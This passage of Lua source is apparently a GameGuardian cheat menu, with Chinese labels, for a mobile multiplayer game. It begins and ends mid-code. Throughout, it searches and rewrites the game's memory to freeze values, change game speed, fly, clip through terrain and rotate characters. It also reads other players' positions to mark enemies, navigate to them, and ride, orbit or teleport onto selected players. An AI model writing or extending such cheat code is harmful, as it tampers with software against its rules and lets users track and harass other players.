string.toMusic("不倒翁开启成功") end, function() editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 17039364, ["type"] = D}, {["lv"] = 1111752704,["offset"] =0x44, ["type"] = D}, }, { {["value"] = 1,["offset"] =-0x1C, ["type"] = F,["freeze"] = false}, {["value"] = 1,["offset"] =-0x14, ["type"] = F,["freeze"] = false}, } ) gg.toast("不倒翁关闭成功") string.toMusic("不倒翁关闭成功") end), changan.switch( "反向不倒翁(可能无法关闭)", function() fw1=false editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 17039364, ["type"] = D}, {["lv"] = 1111752704,["offset"] =0x44, ["type"] = D}, }, { {["value"] = 1,["offset"] =-0x1C, ["type"] = F,["freeze"] = true}, {["value"] = 1,["offset"] =-0x14, ["type"] = F,["freeze"] = true}, } ) gg.diyToast('function go') end, function() fw1=false search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,96,false) end), changan.switch( "人物旋转(优化)", function() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(989, 16, -36, true) end, function() fw1=false gg.clearList() end), changan.switch("旋转光环", function() search(992204554, 4, neicun) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(989, 16, -36, true) string.toMusic("开启成功") end, function() gg.toast("正在关闭") search(992204554, 4, neicun) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(0, 16, -36, false) gg.toast("关闭成功") end), changan.switch( "武器旋转【测试1】", function() search(7.707281683632926E-41, 16, 4) py1(16777215, 4, -36) py1(257, 4, -32) xg1(969.37, 16, 56, true) end, function() gg.clearList() end), changan.switch( "武器旋转【测试2】", function() search(7.707281683632926E-41, 16, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(989, 16, -36, true) end, function() fw1=false gg.clearList() end), changan.switch( "武器旋转【测试3】", function() search(7.707281683632926E-41, 16, 4) py1(7.707281683632926E-41, 4, 0) py1(1956496814, 4, 8) xg1(989, 16, -36, true) end, function() fw1=false gg.clearList() end), changan.switch( "螺旋升天(无法关闭)", function() if yxws==32 then search(992204554, 4, neicun) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-2000, 16, -36, true) end end, function() fw1=false gg.alert("无法关闭。") end), changan.switch( "人物倒立", function() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(666,16,100,true) end, function() fw1=false gg.clearList() end), },{---UI设置 changan.button("灵体掉坑出不来 点这里", function() luajava.newThread(function() if fw1==true then 语音播报("检测到正在执行范围\n为防止卡顿\n正在尝试关闭范围后再执行功能") 提示("检测到正在执行范围\n为防止卡顿\n正在尝试关闭范围后再执行功能") fw1=false gg.sleep(3000) local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0x94} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 2099, freeze = true}}) gg.sleep(150) local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0x90} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 200, freeze = true}}) else local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0x94} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 2099, freeze = true}}) gg.sleep(150) local t = {"libclient.so:bss", "Cb"} local tt = {0xD81098, 0x724, 0x8, 0x90} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 16, value = 200, freeze = true}}) 语音播报('开启成功') end end):start() end), changan.switch( "灵魂出窍", function() fw1=false search(992204554, 4, neicun) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-0.15,16,76,true) end, function() fw1=false gg.clearList() gg.setValues(z) end), changan.switch("观察者模式", function() drw() string.toMusic("正在开启") toast("正在开启") search(-1.2566370964050293, 16, 4) xg1(4, 16, -72, true) string.toMusic("开启成功") toast("开启成功") end, function() drw() search(-1.2566370964050293, 16, 4) xg1(1, 16, -72, true) string.toMusic("关闭成功") toast("关闭成功") end), changan.switch("飞天变速灵体", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(1145145145145555514555666,16,-8,true) gg.sleep(700) gg.setSpeed(4) gg.sleep(700) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(8790,16,-8,false) end, function() gg.setSpeed(1) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(4000,16,-8,false) end), changan.switch( "不飞天灵体", function() fw1=false search(8.279571976463182E-41,16,neicun) py1(5.739718509874451E-42,16,12) py1(0.0,16,44) xg1(0,16,32,false) xg1(0,16,40,false) xg1(0,16,72,false) xg1(0,16,76,false) xg1(0,16,80,false) xg1(0,16,28,false) end, function() end ), changan.switch( "飞天灵体", function() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5059790,16,-8,true) gg.sleep(700) gg.setSpeed(3) gg.sleep(4700) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5790,16,-8,false) end, function() end ), changan.switch( "突破飞天灵体", function() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(3.12e38,16,-8,true) -- x坐标 xg1(3.12e38,16,-4,true) -- y坐标 xg1(3.12e38,16,-12,true)-- z坐标 gg.sleep(700) gg.clearResults() gg.setRanges(16) gg.searchNumber("30", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll("50.114514", gg.TYPE_FLOAT) gg.clearResults() gg.setRanges(gg.REGION_CODE_APP) gg.searchNumber('500',gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0, -1) gg.searchNumber('',gg.TYPE_FLOAT,false,gg.SIGN_EQUAL,0, -1) gg.getResults(100) gg.editAll('-999',gg.TYPE_FLOAT) gg.clearResults() gg.sleep(4700) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5790,16,-8,false) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(200,16,-8,true)--y xg1(-401.941,16,-4,true)--z xg1(-1599,16,-12,true)--x gg.sleep(500) xg1(200,16,-8,false)--y xg1(-401.941,16,-4,false)--z xg1(-1599,16,-12,false)--x search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(200,16,-8,true)--y xg1(-401.941,16,-4,true)--z xg1(-1599,16,-12,true)--x gg.sleep(500) xg1(200,16,-8,false)--y xg1(-401.941,16,-4,false)--z xg1(-1599,16,-12,false)--x end, function() gg.clearResults() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5790,16,-8,false) gg.clearResults() gg.setRanges(16) gg.searchNumber("50.114514", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(114514) gg.editAll("30", gg.TYPE_FLOAT) gg.getResults(100) gg.editAll('500',gg.TYPE_FLOAT) end ), changan.radio({ { "灵体第一步", function() search(17039364,4,neicun) py1(16777215,4,-36) py1(257,4,-32) end, function() end,"开启失败"},{ "灵体第二步", function() search(-943501312,4,neicun) py1(124,4,-536) py1(2,4,-392) py1(1065353216,4,-308) end, function() end,"开启失败" },{ "灵体第三步", function() search(7.707281683632926E-41,16,neicun) py1(1.0,16,24) py1(0.0,16,28) py1(0.0,16,32) py1(0.0,16,36) py1(4.5,16,60) end, function() end,"开启成功" },{ "灵体第四步", function() fw1=false search(8.279571976463182E-41,16,neicun) py1(5.739718509874451E-42,16,12) py1(0.0,16,44) xg1(0,16,32,false) xg1(0,16,40,false) xg1(0,16,72,false) xg1(0,16,76,false) xg1(0,16,80,false) xg1(0,16,28,false) end, function() end,"开启成功" }, }) },{---UI设置 changan.switch('显示附近人数', function() luajava.newThread(function() HK() rssearch(17039361,4,neicun) rspy1(16777215,4,-36) rspy1(1065353216,4,16) rsxg1(999,16,-8,false) end):start() end), changan.switch("循环显示人数", function() luajava.newThread(function() HK() 语音播报('开始循环显示附近人数') 提示('开始循环显示附近人数') fw1=false fw1=true while fw1==true do rssearch(17039361,4,neicun) rspy1(16777215,4,-36) rspy1(1065353216,4,16) rsxg1(999,16,-8,false) end end):start() end, function() fw1=false fw1=false 语音播报('已停止循环显示') 提示("已停止循环显示") end ), changan.switch( "标记", function() -- 全局变量 Memorys = 4 -- 初始化坐标地址 WB = {} -- 自身坐标 WBD = {} -- 敌人坐标 -- 获取自身坐标地址 function getSelfAddresses() gg.setRanges(Memorys) gg.clearResults() gg.searchNumber("17039364", gg.TYPE_QWORD) local k = gg.getResults(1) if #k == 0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local l = gg.getValues(k) local decimalNumber = l[1].address WB["x"] = decimalNumber - 12 WB["y"] = decimalNumber - 8 WB["z"] = decimalNumber - 4 return true end -- 获取敌人坐标地址 function getEnemyAddresses() gg.setRanges(Memorys) gg.clearResults() gg.searchNumber("17039361", gg.TYPE_QWORD) local f = gg.getResults(1) if #f == 0 then print("未找到敌人坐标,请检查搜索值是否正确!") return false end local dl = gg.getValues(f) local ddecimalNumber = dl[1].address WBD["x"] = ddecimalNumber - 12 WBD["y"] = ddecimalNumber - 8 WBD["z"] = ddecimalNumber - 4 return true end -- 获取自身和敌人的实时坐标 function getCoordinates() local selfX = gg.getValues({{address = WB["x"], flags = 16}})[1].value local selfY = gg.getValues({{address = WB["y"], flags = 16}})[1].value local selfZ = gg.getValues({{address = WB["z"], flags = 16}})[1].value local enemyX = gg.getValues({{address = WBD["x"], flags = 16}})[1].value local enemyY = gg.getValues({{address = WBD["y"], flags = 16}})[1].value local enemyZ = gg.getValues({{address = WBD["z"], flags = 16}})[1].value return selfX, selfY, selfZ, enemyX, enemyY, enemyZ end -- 持续计算并绘制标记 function continuouslyDrawMarkers() if not getSelfAddresses() or not getEnemyAddresses() then print("无法获取坐标,正在重试...") return end while true do -- 清除旧的标记 local selfX, selfY, selfZ, enemyX, enemyY, enemyZ = getCoordinates() -- 计算玩家与敌人的距离 local disx = enemyX - selfX local disy = enemyY - selfY local disz = enemyZ - selfZ local distance = math.sqrt(disx * disx + disy * disy + disz * disz) / 400 -- 距离除以100 -- 计算标记的屏幕位置 local markerX = selfX + disx / 100 local markerY = selfY + disy / 500 local markerZ = selfZ + disz / 100 -- 将3D坐标转换为2D屏幕坐标(假设单位矩阵) local screenX = markerX local screenY = markerY -- 绘制标记 draw.text("□", screenX, screenY, 0xFFFFFF) -- 白色方框标记 draw.remove() gg.sleep(500) -- 每500毫秒更新一次 end end -- 主程序 function main() continuouslyDrawMarkers() end -- 启动主程序 main() end, function() drw() sleep(120) hzrs =false draw.remove() end ), changan.box({"导航", changan.switch( "导航菜单[全]", function() floatingWindowManager:run() end, function() floatingWindowManager:run() end), changan.switch( "距离", function() -- 初始化坐标地址 local selfCoordinates = {} -- 自身坐标 local enemyCoordinates = {} -- 敌人坐标 -- 获取自身坐标地址 function getSelfCoordinatesAddress() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039363", gg.TYPE_QWORD) local result = gg.getResults(1) if #result == 0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local valueInfo = gg.getValues(result) local address = valueInfo[1].address selfCoordinates.x = address - 12 selfCoordinates.y = address - 8 selfCoordinates.z = address - 4 return true end -- 获取敌人坐标地址 function getEnemyCoordinatesAddress() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039361", gg.TYPE_QWORD) local result = gg.getResults(1) if #result == 0 then print("未找到敌人坐标,请检查搜索值是否正确!") return false end local valueInfo = gg.getValues(result) local address = valueInfo[1].address enemyCoordinates.x = address - 12 enemyCoordinates.y = address - 8 enemyCoordinates.z = address - 4 return true end -- 获取自身和敌人的实时坐标 function getCurrentCoordinates() local selfX = gg.getValues({{address = selfCoordinates.x, flags = 16}})[1].value local selfY = gg.getValues({{address = selfCoordinates.y, flags = 16}})[1].value local selfZ = gg.getValues({{address = selfCoordinates.z, flags = 16}})[1].value local enemyX = gg.getValues({{address = enemyCoordinates.x, flags = 16}})[1].value local enemyY = gg.getValues({{address = enemyCoordinates.y, flags = 16}})[1].value local enemyZ = gg.getValues({{address = enemyCoordinates.z, flags = 16}})[1].value return selfX, selfY, selfZ, enemyX, enemyY, enemyZ end -- 计算导航方向 function calculateDirection(selfX, selfY, selfZ, enemyX, enemyY, enemyZ, playerDirection) local disx = enemyX - selfX local disy = enemyY - selfY local disz = enemyZ - selfZ local angle = math.atan2(disz, disx) -- 计算角度 local direction = "" -- 考虑玩家朝向 local adjustedAngle = angle - playerDirection -- 将角度转换为度 local adjustedAngleDeg = math.deg(adjustedAngle) -- 根据角度确定方向 if adjustedAngleDeg >= -22.5 and adjustedAngleDeg < 22.5 then direction = "前方" elseif adjustedAngleDeg >= 22.5 and adjustedAngleDeg < 67.5 then direction = "右前方" elseif adjustedAngleDeg >= 67.5 and adjustedAngleDeg < 112.5 then direction = "右侧" elseif adjustedAngleDeg >= 112.5 and adjustedAngleDeg < 157.5 then direction = "右后方" elseif adjustedAngleDeg >= 157.5 or adjustedAngleDeg < -157.5 then direction = "后方" elseif adjustedAngleDeg >= -157.5 and adjustedAngleDeg < -112.5 then direction = "左后方" elseif adjustedAngleDeg >= -112.5 and adjustedAngleDeg < -67.5 then direction = "左侧" elseif adjustedAngleDeg >= -67.5 and adjustedAngleDeg < -22.5 then direction = "左前方" end return direction end -- 持续计算并绘制距离和导航提示 function continuouslyCalculateDistanceAndNavigate(enemyIndex) if not getSelfCoordinatesAddress() or not getEnemyCoordinatesAddress() then print("无法获取坐标,正在重试...") return end -- 假设玩家朝向(需要根据游戏实际情况获取) local playerDirection = 0 -- 玩家朝向角度,单位为弧度 -- 初始化绘制文本 local infoText = draw.text("敌人距离:0.00 米,导航提示:前方", 200, 200) while true do local selfX, selfY, selfZ, enemyX, enemyY, enemyZ = getCurrentCoordinates() local targetX = enemyCoordinates[enemyIndex].x local targetY = enemyCoordinates[enemyIndex].y local targetZ = enemyCoordinates[enemyIndex].z local disx = targetX - selfX local disy = targetY - selfY local disz = targetZ - selfZ local distance = math.sqrt(disx * disx + disy * disy + disz * disz) / 52 -- 距离除以100 -- 格式化为两位小数 local formattedDistance = string.format("%.2f", distance) -- 计算导航方向 local direction = calculateDirection(selfX, selfY, selfZ, targetX, targetY, targetZ, playerDirection) -- 判断是否到达目标 if distance <= 1.6 then local info = "已接近敌人,距离:" .. formattedDistance .. " 米" draw.updateText(infoText, info) else local info = "敌人距离:" .. formattedDistance .. " 米,向 " .. direction .. " 移动" draw.updateText(infoText, info) end -- 更新玩家朝向(这里假设玩家朝向不变,实际游戏中需要动态获取) playerDirection = playerDirection + 0.01 -- 示例:玩家每秒转动0.01弧度 gg.sleep(260) -- 每500毫秒更新一次 end end -- 搜索并统计敌人数量 function countEnemies() gg.clearResults() gg.setRanges(4) gg.searchNumber("17039363", gg.TYPE_DWORD) local count = gg.getResultsCount() gg.clearResults() return count end -- 初始化敌人坐标信息 function initEnemyCoordinates(enemyCount) enemyCoordinates = {} for i = 1, enemyCount do gg.setRanges(4) gg.clearResults() -- 尝试多种搜索值 local searchValues = { "1234567890".. i, "1145141919".. i, "17039361".. i } local found = false for _, searchValue in ipairs(searchValues) do gg.searchNumber(searchValue, gg.TYPE_DWORD) local result = gg.getResults(1) if #result > 0 then local valueInfo = gg.getValues(result) local address = valueInfo[1].address enemyCoordinates[i] = { x = address - 12, y = address - 8, z = address - 4 } found = true break end end if not found then print("未找到敌人".. i.. "坐标,请检查搜索值是否正确!") end end end -- 为每个敌人添加单独的绘制效果 function drawEnemyEffect(enemyIndex) local x, y = 100 + (enemyIndex - 1) * 50, 100 -- 简单示例,设置绘制位置 local enemyText = draw.text("敌人 ".. enemyIndex, x, y) -- 这里可以添加更复杂的绘制逻辑,比如绘制敌人图标等 -- 添加一个简单的闪烁效果示例 local flashInterval = 500 -- 闪烁间隔,单位毫秒 local flashCount = 0 local flashOn = true local flashTimer = 0 while true do if flashTimer >= flashInterval then flashTimer = 0 flashOn = not flashOn if flashOn then draw.show(enemyText) else draw.hide(enemyText) end flashCount = flashCount + 1 if flashCount >= 3 then -- 闪烁3次后停止 break end end flashTimer = flashTimer + 260 gg.sleep(260) end end -- 主程序 function main() local enemyCount = countEnemies() gg.toast("共找到敌人:".. enemyCount) initEnemyCoordinates(enemyCount) local choices = {} for i = 1, enemyCount do table.insert(choices, "敌人".. i) end local choice = gg.choice(choices) if choice then drawEnemyEffect(choice) -- 点击敌人时绘制单独效果 continuouslyCalculateDistanceAndNavigate(choice) end end -- 启动主程序 main() end, function() drw() sleep(120) hzrs =false draw.remove() end ), changan.switch( "导航", function() WB={} WBD={} function getSelfAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039364", gg.TYPE_QWORD) local k=gg.getResults(1) if #k==0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local l=gg.getValues(k) local decimalNumber=l[1].address WB["x"]=decimalNumber-12 WB["y"]=decimalNumber-8 WB["z"]=decimalNumber-4 return true end function getEnemyAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039361", gg.TYPE_QWORD) local f=gg.getResults(1) if #f==0 then print("未找到敌人坐标,请检查搜索值是否正确!") return false end local dl=gg.getValues(f) local ddecimalNumber=dl[1].address WBD["x"]=ddecimalNumber-12 WBD["y"]=ddecimalNumber-8 WBD["z"]=ddecimalNumber-4 return true end function getCoordinates() local selfX=gg.getValues({{address=WB["x"], flags=16}})[1].value local selfY=gg.getValues({{address=WB["y"], flags=16}})[1].value local selfZ=gg.getValues({{address=WB["z"], flags=16}})[1].value local enemyX=gg.getValues({{address=WBD["x"], flags=16}})[1].value local enemyY=gg.getValues({{address=WBD["y"], flags=16}})[1].value local enemyZ=gg.getValues({{address=WBD["z"], flags=16}})[1].value return selfX, selfY, selfZ, enemyX, enemyY, enemyZ end function calculateDirection(selfX, selfY, selfZ, enemyX, enemyY, enemyZ, playerDirection) local disx=enemyX-selfX local disy=enemyY-selfY local disz=enemyZ-selfZ local angle=math.atan2(disz, disx) local direction="" local adjustedAngle=angle-playerDirection local adjustedAngleDeg=math.deg(adjustedAngle) if adjustedAngleDeg>=-22.5 and adjustedAngleDeg<22.5 then direction="前方" elseif adjustedAngleDeg>=22.5 and adjustedAngleDeg<67.5 then direction="右前方" elseif adjustedAngleDeg>=67.5 and adjustedAngleDeg<112.5 then direction="右侧" elseif adjustedAngleDeg>=112.5 and adjustedAngleDeg<157.5 then direction="右后方" elseif adjustedAngleDeg>=157.5 or adjustedAngleDeg<-157.5 then direction="后方" elseif adjustedAngleDeg>=-157.5 and adjustedAngleDeg<-112.5 then direction="左后方" elseif adjustedAngleDeg>=-112.5 and adjustedAngleDeg<-67.5 then direction="左侧" elseif adjustedAngleDeg>=-67.5 and adjustedAngleDeg<-22.5 then direction="左前方" end return direction end function continuouslyCalculateDistanceAndNavigate() if not getSelfAddresses() or not getEnemyAddresses() then print("无法获取坐标,正在重试...") return end local playerDirection=0 draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText=draw.text("敌人距离:0.00 米,导航提示:前方", 200, 200) while true do local selfX, selfY, selfZ, enemyX, enemyY, enemyZ=getCoordinates() local disx=enemyX-selfX local disy=enemyY-selfY local disz=enemyZ-selfZ local distance=math.sqrt(disx*disx+disy*disy+disz*disz)/52 local formattedDistance=string.format("%.2f", distance) local direction=calculateDirection(selfX, selfY, selfZ, enemyX, enemyY, enemyZ, playerDirection) if distance<=1.6 then local info="玩家到站,距离:"..formattedDistance.." 米" draw.updateText(infoText, info) else local info="敌人距离:"..formattedDistance.." 米,向 "..direction.." 移动" draw.updateText(infoText, info) end playerDirection=playerDirection+0.001 gg.sleep(100) end end function main() continuouslyCalculateDistanceAndNavigate() end main() end, function() drw() sleep(120) hzrs =false draw.remove() end ), changan.switch( "算法导航", function() local function interruptThread(thread) if thread then pcall(function() thread:interrupt() end) end return function() luajava.startThread(function() return pcall(func) end) end end -- 简化获取同步线程回调的函数,去掉任务判断逻辑 local function getSyncThreadCallbak(func) return function() -- 去掉了对 task 的判断逻辑,直接执行函数 luajava.startThread(function() pcall(func) end) end end -- 调整获取同步线程回调并执行的函数,简化调用流程 local function callSyncThreadCallbak(func) local callback = getSyncThreadCallbak(func) callback() end function xc() WB = {} fixedTarget = {y = dy, z = dz, x = dx} -- 固定目标坐标 -- 获取自身坐标地址 function getSelfAddresses() gg.setRanges(4) gg.clearResults() gg.searchNumber("17039364", gg.TYPE_QWORD) local k = gg.getResults(1) if #k == 0 then print("未找到自身坐标,请检查搜索值是否正确!") return false end local l = gg.getValues(k) local decimalNumber = l[1].address WB["x"] = decimalNumber - 12 WB["y"] = decimalNumber - 8 WB["z"] = decimalNumber - 4 return true end -- 获取自身和固定目标的实时坐标 function getCoordinates() local selfX = gg.getValues({{address = WB["x"], flags = 16}})[1].value local selfY = gg.getValues({{address = WB["y"], flags = 16}})[1].value local selfZ = gg.getValues({{address = WB["z"], flags = 16}})[1].value local targetX = fixedTarget.x local targetY = fixedTarget.y local targetZ = fixedTarget.z return selfX, selfY, selfZ, targetX, targetY, targetZ end -- 计算导航方向 function calculateDirection(selfX, selfY, selfZ, targetX, targetY, targetZ, playerDirection) -- 参数验证 if type(selfX) ~= "number" or type(selfY) ~= "number" or type(selfZ) ~= "number" then return "错误:自身坐标参数必须为数值类型" end if type(targetX) ~= "number" or type(targetY) ~= "number" or type(targetZ) ~= "number" then return "错误:目标坐标参数必须为数值类型" end if type(playerDirection) ~= "number" then return "错误:玩家朝向参数必须为数值类型" end local disx = targetX - selfX local disz = targetZ - selfZ -- 计算角度 local angle = math.atan2(disz, disx) local adjustedAngle = angle - playerDirection local adjustedAngleDeg = math.deg(adjustedAngle) -- 归一化角度到-180到180范围 adjustedAngleDeg = adjustedAngleDeg % 360 if adjustedAngleDeg > 180 then adjustedAngleDeg = adjustedAngleDeg - 360 elseif adjustedAngleDeg < -180 then adjustedAngleDeg = adjustedAngleDeg + 360 end -- 定义方向划分的角度范围 local directions = { {range = {-22.5, 22.5}, name = "前方"}, {range = {22.5, 67.5}, name = "右前方"}, {range = {67.5, 112.5}, name = "右侧"}, {range = {112.5, 157.5}, name = "右后方"}, {range = {157.5, 180}, name = "后方"}, {range = {-180, -157.5}, name = "后方"}, {range = {-157.5, -112.5}, name = "左后方"}, {range = {-112.5, -67.5}, name = "左侧"}, {range = {-67.5, -22.5}, name = "左前方"} } -- 确定方向 local direction = "未知方向" for _, dir in ipairs(directions) do if adjustedAngleDeg >= dir.range[1] and adjustedAngleDeg < dir.range[2] then direction = dir.name break end end return direction end -- 持续计算并绘制距离和导航提示 function continuouslyCalculateDistanceAndNavigate() if not getSelfAddresses() then print("无法获取坐标,正在重试...") return end -- 假设玩家朝向(需要根据游戏实际情况获取) local playerDirection = 0 -- 玩家朝向角度,单位为弧度 -- 初始化绘制文本 draw.setStyle('填充') draw.setColor("#846DCA") draw.setSize(47) local infoText = draw.text(" ", 200, 200) GD = true while GD do local selfX, selfY, selfZ, targetX, targetY, targetZ = getCoordinates() local disx = targetX - selfX local disy = targetY - selfY local disz = targetZ - selfZ local distance = math.sqrt(disx * disx + disy * disy + disz * disz) / 40 -- 距离除以100 -- 格式化为两位小数 local formattedDistance = string.format("%.2f", distance) -- 计算导航方向 local direction = calculateDirection(selfX, selfY, selfZ, targetX, targetY, targetZ, playerDirection) -- 判断是否到达目标 if distance <= 28.6 then local info = "目标: ".. namei.. " 玩家到站,距离:".. formattedDistance.. " 米" draw.updateText(infoText, info) else local info = "目标: ".. namei.. " 目标距离:".. formattedDistance.. " 米,向 ".. direction.. " 移动" draw.updateText(infoText, info) end -- 更新玩家朝向(这里假设玩家朝向不变,实际游戏中需要动态获取) playerDirection = playerDirection + 0.00001 -- 示例:玩家每秒转动0.01弧度 gg.sleep(100) -- 每500毫秒更新一次 end end -- 新增部分:关闭绘制后重新初始化相关绘制 -- 主程序 function main() local infoText = continuouslyCalculateDistanceAndNavigate() -- 这里可以添加对infoText的进一步处理,比如在后续需要关闭时使用 end -- 启动主程序 main() end end, function() drw() sleep(120) hzrs =false draw.remove() end ), }), changan.box({"乘坐玩家[正式版]", changan.seek('高度','YY',-2000,5000,1850),--名字,变量名,最小,最大,初始 changan.seek('纵坐标','ZZ',-2000,5000,50),--名字,变量名,最小,最大,初始 changan.seek('横坐标','XX',-2000,5000,50),--名字,变量名,最小,最大,初始 changan.radio({ { "开启", function() drw() ss() dd() --gg.setValues({{ address=zzby,flags=16,value=5000}}) CT=true while CT do Dyz=gg.getValues({{ address= ""..Dy.."",flags=16,value=null }})--获取y坐标值 Dxz=gg.getValues({{ address= ""..Dx.."",flags=16,value=null }})--获取x坐标值 Dzz=gg.getValues({{ address= ""..Dz.."",flags=16,value=null }})--获取z坐标值 gg.setValues({{ address=y,flags=16,value=Dyz[1].value+YY,true}}) gg.setValues({{ address=x,flags=16,value=Dxz[1].value+ZZ,true}}) gg.setValues({{ address=z,flags=16,value=Dzz[1].value+XX,true}}) end --[[CT=true while CT do dkx=gg.getValues({{ address= ""..dresultHex.."",flags=16,value=null }}) gg.toast("值:"..dkx[1].value.."") gg.sleep(1000) end]] end }, { "关闭", function() drw() CT=false end }, }), }), changan.box({"环绕玩家[正式版]", changan.seek('环绕半径','rt',-2000,5000,500),--名字,变量名,最小,最大,初始 changan.seek('环绕方向','rf',-2,3,1),--名字,变量名,最小,最大,初始 changan.radio({ { "开启", function() drw() ss() dd() --gg.setValues({{ address=zzby,flags=16,value=5000}}) local radius = rt local angleSpeed = 0.1 local angle = 0 local surroundDir = rf CT=true while CT do Dyz = gg.getValues({{address = ""..Dy.."", flags = 16, value = null}}) Dxz = gg.getValues({{address = ""..Dx.."", flags = 16, value = null}}) Dzz = gg.getValues({{address = ""..Dz.."", flags = 16, value = null}}) local enemyX = Dxz[1].value local enemyY = Dyz[1].value local enemyZ = Dzz[1].value -- 计算环绕坐标 local newX = enemyX + radius * math.cos(angle * surroundDir) local newY = enemyY + radius * math.sin(angle * surroundDir) local newZ = enemyZ gg.setValues({{address = y, flags = 16, value = newY}}) gg.setValues({{address = x, flags = 16, value = newX}}) gg.setValues({{address = z, flags = 16, value = newZ}}) angle = angle + angleSpeed if angle > 2 * math.pi then angle = angle - 2 * math.pi elseif angle < -2 * math.pi then angle = angle + 2 * math.pi end gg.sleep(50) end end }, { "关闭", function() drw() CT=false end }, }), }), changan.box({"围绕玩家[正式版]", changan.seek('围绕半径','wt',-2000,5000,500),--名字,变量名,最小,最大,初始 changan.seek('围绕方向','wf',-2,3,1),--名字,变量名,最小,最大,初始 changan.seek('围绕高度','wh',-3000,3000,800),--名字,变量名,最小,最大,初始 changan.radio({ { "开启", function() drw() ss() dd() --gg.setValues({{ address=zzby,flags=16,value=5000}}) local radius = wt local angleSpeed = 0.1 local angle = 0 local surroundDir = wf -- 设定最低高度 local minHeight = wh CT=true while CT do local Dyz = gg.getValues({{address = ""..Dy.."", flags = 16, value = null}}) local Dxz = gg.getValues({{address = ""..Dx.."", flags = 16, value = null}}) local Dzz = gg.getValues({{address = ""..Dz.."", flags = 16, value = null}}) local enemyX = Dxz[1].value local enemyY = Dyz[1].value local enemyZ = Dzz[1].value -- 计算围绕敌人从前向后旋转的坐标 local newX = enemyX + radius * math.sin(angle * surroundDir) local newZ = enemyZ + radius * math.cos(angle * surroundDir) -- 确保高度在800米以上 local newY = math.max(minHeight, enemyY + 300) gg.setValues({{address = y, flags = 16, value = newY}}) gg.setValues({{address = x, flags = 16, value = newX}}) gg.setValues({{address = z, flags = 16, value = newZ}}) angle = angle + angleSpeed if angle > 2 * math.pi then angle = angle - 2 * math.pi elseif angle < -2 * math.pi then angle = angle + 2 * math.pi end gg.sleep(20) end end }, { "关闭", function() drw() CT=false end }, }), }), changan.radio({"", {"初始化坐标锁核" , function() luajava.newThread(function() HK() fw1=false HS1() HS3() --初始化坐标锁核") end):start() end }, {"打开单次锁核菜单" , function() luajava.newThread(function() HK() fw1=false CD() --打开锁核菜单") end):start() end }, {"清除锁核残留", function() luajava.newThread(function() HK() fw1=false editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 1234567890, ["type"] = D}, {["lv"] = 1234567890,["offset"] =0, ["type"] = D}, }, { {["value"] = 0,["offset"] =0, ["type"] = D,["freeze"] = false}, } ) gg.clearResults() --清除锁核残留") editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 1234567890, ["type"] = D}, {["lv"] = 1234567890,["offset"] =0, ["type"] = D}, }, { {["value"] = 0,["offset"] =0, ["type"] = D,["freeze"] = false}, } ) gg.clearResults() --清除锁核残留") editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 1234567890, ["type"] = D}, {["lv"] = 1234567890,["offset"] =0, ["type"] = D}, }, { {["value"] = 0,["offset"] =0, ["type"] = D,["freeze"] = false}, } ) gg.clearResults() --清除锁核残留") gg.clearList() gg.setValues(z) gg.clearResults() end):start() end}, }), changan.box({"循环坐标锁核", changan.switch("传送玩家1(循环)", function() luajava.newThread(function() HK() fw1=false fw1=false fw1=true while fw1==true do --获取选择的实体坐标 local x1=gg.getValues({[1]={address=wj1[1].address+0x24,flags=16,value=nil}}) local y1=gg.getValues({[1]={address=wj1[1].address+0x28,flags=16,value=nil}}) local z1=gg.getValues({[1]={address=wj1[1].address+0x2C,flags=16,value=nil}}) --开始传送 gg.setValues({[1]={address=a[1].address+0x24,flags=16,freeze=false,value=x1[1].value}}) gg.setValues({[1]={address=a[1].address+0x28,flags=16,freeze=false,value=y1[1].value}}) 